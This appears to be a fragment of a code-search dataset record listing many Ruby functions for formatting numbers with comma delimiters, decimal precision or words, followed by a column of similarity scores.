"def format_number(number)\n whole, decimal = number.to_s.split(\".\")\n num_groups = whole.chars.to_a.reverse.each_slice(3)\n whole_with_commas = num_groups.map(&:join).join(',').reverse\n [whole_with_commas, decimal].compact.join(\".\")\nend",
"def format_number(number)\n whole, decimal = number.to_s.split(\".\")\n num_groups = whole.chars.to_a.reverse.each_slice(3)\n whole_with_commas = num_groups.map(&:join).join(',').reverse\n [whole_with_commas, decimal].compact.join(\".\")\nend",
"def numberToString(num) \n\t num.to_s \n end",
"def format_number(number)\n whole, decimal = number.to_s.split('.')\n if whole.to_i < -999 || whole.to_i > 999\n whole.reverse!.gsub!(/(\\d{3})(?=\\d)/, '\\\\1,').reverse!\n end\n [whole, decimal].compact.join('.')\nend",
"def neat_numbers(number, roundto = 2) #round to 0 or 2)\n\n # round to zero or two decimals\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n\n # regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n\n end",
"def number_with_precision\n\t\t\"%.2f\" % number\n\tend",
"def human_readable(number, type)\n\t# Do some math then return the number in a commified form:\n\treturn (number/type).to_s.gsub(/(\\d)(?=\\d{3}+(?:\\.|$))(\\d{3}\\..*)?/,'\\1,\\2')\nend",
"def separate_comma(number)\n\tnumber\nend",
"def numberToString(num)\n \"#{num}\"\nend",
"def compress_number(num, precision=2)\n if precision > 0\n num_string = sprintf(\"%0.#{precision}f\", num)\n else\n num_string = sprintf(\"%d\", num.round)\n end\n if(num_string =~ /^00$/)\n num_string = \"0 \"\n end\n\n return num_string\n end",
"def number_with_delimiter(number, options = {})\n SitemapGenerator::Utilities.symbolize_keys!(options)\n\n begin\n Float(number)\n rescue ArgumentError, TypeError\n if options[:raise]\n raise InvalidNumberError, number\n else\n return number\n end\n end\n\n defaults = {\n :separator => \".\",\n :delimiter => \",\",\n :precision => 3,\n :significant => false,\n :strip_insignificant_zeros => false\n }\n options = SitemapGenerator::Utilities.reverse_merge(options, defaults)\n\n parts = number.to_s.to_str.split('.')\n parts[0].gsub!(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{options[:delimiter]}\")\n parts.join(options[:separator])\n end",
"def number_delimiter number\n\t\tnumber_with_delimiter(number, delimiter: \",\")\n\tend",
"def numberToString(num)\r\n num.to_s\r\nend",
"def separate_comma(number)\n\tnumber = number.to_i\n\tif number.abs < 1000\n\t\tstring = number.to_s\n\tend\n\tif number.abs >= 1000\n\t\tstring = number.to_s.insert(-4, \",\")\n\tend\n\tif (1000000..999999999).include? number.abs\n\t\tstring.insert(-8, \",\")\n\tend\n\tif (1000000000..999999999999).include? number.abs\n\t\tstring.insert(-12,\",\")\n\tend\nreturn string\nend",
"def format_num(tmp_arr)\n tmp_arr.collect! do |x|\n if ((x.to_f.to_s == x) and (x.to_f == x.to_i)) # (integer value - no decimals)\n x.to_i.to_s\n elsif (x.to_f.to_s == x) # (decimal value - format to 2 decimals)\n sprintf('%0.2f', x)\n else\n x\n end\n end\n end",
"def number_with_delimiter(number, delimiter=',')\n number.to_s.gsub(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{delimiter}\")\nend",
"def int_to_str i\n int_to_digits(i).join('.')\nend",
"def add_commas_to_integer(integer)\n reversed_digits = integer.to_s.chars.map(&:to_i).reverse\n reversed_digits.each_slice(3).map { |sl| sl.join }.join(',').reverse\nend",
"def comma(int)\n\tnum=int.to_s\n\tarr=num.split(//)\n\tnum=\"\"\n\tcount = 0\n\tfor i in 0...arr.length\n\t\tputs arr[arr.length-i-1]\n\t\tif count %3 != 0\n\t\t\tnum.insert(0,arr[arr.length-i-1])\n\t\telse \n\t\t\tnum.insert(0,\",\")\n\t\t\tnum.insert(0,arr[arr.length-i-1])\n\t\tend\n\t\tcount += 1\n\tend\n\tputs num \nend",
"def numberToString(num)\n num.to_s\nend",
"def numberToString(num)\n num.to_s\nend",
"def pretty_trxn_card_digits(delim = ', ')\n trxn_card_digits.join(delim)\n end",
"def add_comma(number)\n\tsplit_string = number.to_s.split('')\n\tsplit_string_length = split_string.length\n\n\tif split_string_length > 3\n\t\tsplit_string[0]<< ','\n\t\tsplit_string.join(\"\")\n\t\tp split_string\n\tend\n\nend",
"def numberFormat( number, separator = ',', decimal_point = nil, prec=2 )\n prefix='';\n if( number < 0 )then\n number *= -1.0;\n prefix = '-';\n end\n if( (decimal_point == nil) or (prec == 0)) then\n num_parts = [ number.to_i.to_s ];\n else\n num_parts = sprintf( \"%0.#{prec}f\", number ).split('.')\n end\n x = num_parts[0].reverse.scan(/.{1,3}/).join(separator).reverse \n x << decimal_point + num_parts[1] if num_parts.length == 2 \n return prefix+x \nend",
"def format_number(number)\n number.to_s.reverse.gsub(/...(?=.)/,'\\&,').reverse\nend",
"def expanded_form(num)\r\n num.digits.each_with_index.map{| val, idx | val * (10 ** idx)}.select{|x| x != 0}.reverse.join(\" + \")\r\nend",
"def nice_number(number)\n confline = (!session or !session[:nice_number_digits]) ? Confline.get_value(\"Nice_Number_Digits\") : session[:nice_number_digits]\n nice_number_digits = (confline and confline.to_s.length > 0) ? confline.to_i : 2\n n = \"\"\n n = sprintf(\"%0.#{nice_number_digits}f\", number.to_d) if number\n if session\n session[:nice_number_digits] = nice_number_digits\n n = n.gsub('.', session[:global_decimal]) if session[:change_decimal]\n end\n n\n end",
"def thousands_string\n if display_thousands\n \".#{pad(thousands, 3)}\"\n elsif display_hundreds\n \".#{pad((thousands / 10.0).round, 2)}\"\n else\n \"\"\n end\n end",
"def insert_commas(positive_int)\n positive_int.to_s.reverse.chars.each_slice(3).map{|s| s.join}.join(\",\").reverse\nend",
"def format_step_number(number)\n \"#{number}. \"\n end",
"def number_with_delimiter(n, delim = ',')\n n.to_i.to_s.reverse.chars.each_slice(3).map(&:join).join(delim).reverse\n end",
"def separate_comma(integer)\n if integer >= 1000\n number_array = integer.to_s.split(\"\").reverse\n counter = 0\n array_for_reverse = []\n number_array.each do |digit|\n if counter % 3 == 0 && counter != 0\n array_for_reverse << \",\"\n end\n array_for_reverse << digit\n counter += 1\n end\n final = \"\"\n array_for_reverse.reverse.each do |digit|\n final << digit\n end\n else\n final = integer.to_s\n end\n return final\nend",
"def separate_comma(num)\n\tnumber = num.to_s\n\tif number.length < 4\n\t\tp number\n\telse\n\t\tnum_of_loops = ((number.length - 1) / 3)\n\t\tposition = -4\n\t\tuntil num_of_loops == 0\n\t\t\tnumber.insert(position, \",\")\n\t\t\tposition -= 4\n\t\t\tnum_of_loops -= 1\n\t\tend\n\tend\n\tp number\nend",
"def num_into_string(number)\n puts number.ordinalize\nend",
"def to_s\n\t\treturn \"#@num/#@den\"\n\tend",
"def number_to_s\n case\n when number < 10 then return \"00#{number}\"\n when number < 100 then return \"0#{number}\"\n else return \"#{number}\"\n end\n end",
"def formatted_number(decimal)\n decimal.truncate(NUM_DECIMAL_PLACES).to_s(FLOATING_POINT_NOTATION)\n end",
"def comma_numbers(number, delimiter = ',')\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1#{delimiter}\").reverse\nend",
"def comma_numbers(number, delimiter = ',')\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1#{delimiter}\").reverse\nend",
"def format_num(num)\n num.gsub(/\\D/,\"\")\n # gsub takes two arguments:\n # the first is a regex pattern to match: \\D is any non-digit character\n # the second is what matching elements should be replaced with\nend",
"def format(number)\n # Start with an empty string;\n # maybe change it, but definitely return it.\n \"\".tap do |output|\n @format_data.each do |key, value|\n output << key if even_split?(number, value)\n end\n output << number.to_s if output.empty?\n end\n end",
"def separate_comma(integer)\n if integer.to_s.length <= 3\n comma_string = integer.to_s\n else\n integer_array = integer.to_s.split('')\n integer_array.each_with_index do |n, i|\n if i % 4 == 0\n integer_array.insert(-i, \",\")\n end\n comma_string = integer_array.join(\"\")\n comma_string[0] = \"\"\n end\n end\n p comma_string\nend",
"def to_c(number)\n number_with_precision(number, :precision => 2, :delimiter => '.', :separator => ',') + ' kn' \n end",
"def pp(indent = \"\")\n \"#{indent}#{@number}\"\n end",
"def formatCommas(n)\n\treturn n.to_s.reverse.gsub(/...(?=.)/,'\\&,').reverse\nend",
"def format_value_to_integer(value)\n value.to_s\n end",
"def formatted_number(numero, moneda = nil)\n content_tag :span, class: negativo_rojo(numero) do\n number_to_currency(numero.to_f,\n delimiter: '.',\n separator: ',',\n format: '%n %u '.html_safe,\n unit: (moneda || ''),\n negative_format: '( %n ) %u' )\n end\n end",
"def prettified_number(num)\n return \"Please enter valid number\" unless is_num?(num)\n sign = sign_creator(num)\n num = num.to_i.abs\n return \"#{sign}#{num.to_s }\"if NUMERALS.first > num or NUMERALS.last <= num\n NUMERALS.each do |short_scale|\n if short_scale >= num\n nums_arr = break_number(num,short_scale)\n break \"#{sign}#{build_string(nums_arr,num)}\"\n end\n end\n end",
"def format_numeric(val, istruct)\n return istruct.nil_text if val.nil?\n\n val = val.round(istruct.post_digits) if istruct.post_digits >= 0\n if istruct.hms\n result = val.secs_to_hms\n istruct.commas = false\n elsif istruct.currency\n prec = istruct.post_digits.zero? ? 2 : istruct.post_digits\n delim = istruct.commas ? ',' : ''\n result = val.to_s(:currency, precision: prec, delimiter: delim,\n unit: FatTable.currency_symbol)\n istruct.commas = false\n elsif istruct.pre_digits.positive?\n if val.whole?\n # No fractional part, ignore post_digits\n result = sprintf(\"%0#{istruct.pre_digits}d\", val)\n elsif istruct.post_digits >= 0\n # There's a fractional part and pre_digits. sprintf width includes\n # space for fractional part and decimal point, so add pre, post, and 1\n # to get the proper sprintf width.\n wid = istruct.pre_digits + 1 + istruct.post_digits\n result = sprintf(\"%0#{wid}.#{istruct.post_digits}f\", val)\n else\n val = val.round(0)\n result = sprintf(\"%0#{istruct.pre_digits}d\", val)\n end\n elsif istruct.post_digits >= 0\n # Round to post_digits but no padding of whole number, pad fraction with\n # trailing zeroes.\n result = sprintf(\"%.#{istruct.post_digits}f\", val)\n else\n result = val.to_s\n end\n if istruct.commas\n # Commify the whole number part if not done already.\n result = result.commas\n end\n result\n end",
"def reformat(number)\n num_without_decimal = number.gsub('.','') \n unless num_without_decimal.length == 4\n num_without_decimal = '0' + num_without_decimal \n end\n num_without_decimal\n end",
"def to_pretty_s\n if self.is_valid?\n if @type == :magic\n \"#{@number}\"\n else\n \"#{area_code}-#{@number}\"\n end\n end\n end",
"def number_to_string (num) \n p num.to_s\nend",
"def separate_comma(num)\n return nil if !(num.is_a? Integer)\n\n num_array = num.to_s.split(//)\n\n return num_array.collect.with_index { |digit, i|\n num_digits = num_array.length - i\n\n if num_digits > 3 && num_digits % 3 == 1\n digit + ','\n else\n digit\n end\n\n }.join\n\n end",
"def separate_comma(number)\n a = number.to_s.split('')\n b = a.size/3.0\n if a.size < 4\n p number.to_s\n elsif a.size%3 == 0\n n = -4\n (b.to_i-1).times do |i|\n a.insert(n, ',')\n n -= 4\n end\n p a.join(\"\")\n else\n n = -4\n b.to_i.times do |i|\n a.insert(n, ',')\n n -= 4\n end\n p a.join(\"\")\n end\nend",
"def delimited_number(value, symbol: '', delimiter: ',', no_decimals: 2)\n val = value.nil? ? 0.0 : value\n parts = format(\"#{symbol}%.#{no_decimals}f\", val).split('.')\n parts[0] = parts.first.reverse.gsub(/([0-9]{3}(?=([0-9])))/, \"\\\\1#{delimiter}\").reverse\n parts.join('.')\n end",
"def separate_comma(integer)\n strinteger = integer.to_s.split('')\n figures = strinteger.size / 3\n if strinteger.size <= 3\n \tp integer.to_s\n elsif strinteger.size%3 == 0\n \tt = -4\n \t(figures.to_i - 1).times do |x|\n \t strinteger.insert(t, ',')\n \t t -= 4\n \tend\n p strinteger.join\n else\n \tt = -4\n \t(figures.to_i).times do |x|\n \t strinteger.insert(t, ',')\n \t t -= 4\n \tend\n p strinteger.join\n end\nend",
"def seperator(num)\n num_string = num.to_s\n num_integer_count = num.to_s.length\n num_counter = num_integer_count\n loop do \n num_counter -= 3\n if num_counter <= 0 \n break \n else \n num_string.insert(num_counter, ',')\n end\n\n end\n num_string\nend",
"def human_display(number)\n base_number = digits(number)\n if base_number.length == 11 && base_number.first == '1'\n \"(#{base_number[1..3]}) #{base_number[4..6]}-#{base_number[7..10]}\"\n elsif base_number.length > 0\n \"+#{base_number}\"\n else\n nil\n end\n end",
"def pretty_metric_value(value)\n case value\n when Float, BigDecimal\n \"#{number_with_delimiter(value.floor)}%\"\n when Integer\n number_with_delimiter value\n when Date, Time\n l value.to_date\n when Array\n value.to_sentence\n else\n value\n end\n end",
"def integer_to_string(num)\n num.digits.reverse.join\nend",
"def number_with_formatting\n if /^(.*)(.{6})(.{6})(.{6})(.{6})(.{6})/i.match(number_without_formatting)\n \"#{$1}-#{$2}-#{$3}-#{$4}-#{$5}-#{$6}\"\n else\n number_without_formatting\n end\n end",
"def intcomma(value, delimiter=\".\")\n begin\n orig = value.to_s\n delimiter = delimiter.to_s\n rescue Exception => e\n puts \"#{e.class} #{e}\"\n return value\n end\n \n copy = orig.gsub(/(\\d)(?=(\\d{3})+(?!\\d))/, \"\\\\1#{delimiter}\")\n orig == copy ? copy : intcomma(copy, delimiter)\n end",
"def to_en(number)\n return number.to_s unless number.is_a?(Integer)\n case number\n when 1\n \"one\"\n when 2\n \"two\"\n when 3\n \"three\"\n when 4\n \"four\"\n when 5\n \"five\"\n when 6\n \"six\"\n when 7\n \"seven\"\n when 8\n \"eight\"\n when 9\n \"nine\"\n when 10\n \"ten\"\n when 11\n \"eleven\"\n when 12\n \"twelve\"\n when 13\n \"thirteen\"\n when 14\n \"fourteen\"\n when 15\n \"fifteen\"\n when 16\n \"sixteen\"\n when 17\n \"seventeen\"\n when 18\n \"eighteen\"\n when 19\n \"nineteen\"\n when 20\n \"twenty\"\n when 30\n \"thirty\"\n when 40\n \"forty\"\n when 50\n \"fifty\"\n when 60\n \"sixty\"\n when 70\n \"seventy\"\n when 80\n \"eighty\"\n when 90\n \"ninety\"\n when 21 .. 99\n x_one = number % 10\n x_ten = number - x_one\n to_en(x_ten) + \"-\" + to_en(x_one)\n when 100 .. 999\n front_num = number / 100\n rear_num = number % 100\n if rear_num == 0\n to_en(front_num) + \" hundred\"\n else\n to_en(front_num) + \" hundred and \" + to_en(rear_num)\n end\n when 1e3 .. 999999\n front_num = number / 1000\n rear_num = number % 1000\n if rear_num == 0\n to_en(front_num) + \" thousand\"\n else\n to_en(front_num) + \" thousand and \" + to_en(rear_num)\n end\n else\n number.to_s\n end\n end",
"def comma_separate(num)\n num.to_s.reverse.gsub(/(\\d{3})(?=\\d)/, '\\\\1,').reverse\n end"
] |
[
"0.7913227",
"0.7681492",
"0.7675833",
"0.72572845",
"0.72295135",
"0.72295135",
"0.71015114",
"0.7023472",
"0.6963635",
"0.69350034",
"0.6878977",
"0.6826603",
"0.6809569",
"0.67667174",
"0.6636354",
"0.6636354",
"0.6636354",
"0.6636354",
"0.6636354",
"0.6624185",
"0.661686",
"0.65837485",
"0.65634435",
"0.65634435",
"0.65634435",
"0.65634435",
"0.65634435",
"0.65634435",
"0.6560419",
"0.65522647",
"0.6547692",
"0.6528171",
"0.65206033",
"0.6514403",
"0.65130925",
"0.6485365",
"0.6465497",
"0.646045",
"0.646045",
"0.6458783",
"0.6441779",
"0.64400434",
"0.6438933",
"0.64192647",
"0.6413063",
"0.64114445",
"0.6410102",
"0.640748",
"0.6406137",
"0.6395798",
"0.6390952",
"0.63818383",
"0.6351538",
"0.6345658",
"0.63323414",
"0.63312274",
"0.63057613",
"0.63057613",
"0.62912416",
"0.6287017",
"0.6282508",
"0.62785214",
"0.6261698",
"0.6245765",
"0.6233179",
"0.62043333",
"0.6192103",
"0.61901206",
"0.61729705",
"0.6160619",
"0.6153191",
"0.6151019",
"0.614517",
"0.6141172",
"0.61352545",
"0.61352545",
"0.6124427",
"0.6114975",
"0.6114462",
"0.61090666",
"0.6106741",
"0.60970837",
"0.60906214",
"0.6086156",
"0.6083303",
"0.6076453",
"0.607221",
"0.6067764",
"0.6063577",
"0.605737",
"0.6055004",
"0.6054185",
"0.6053858",
"0.6053683",
"0.603656",
"0.6036042",
"0.60196143",
"0.60180885",
"0.6016975",
"0.6000093",
"0.5994814"
] |
0.0
|
-1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.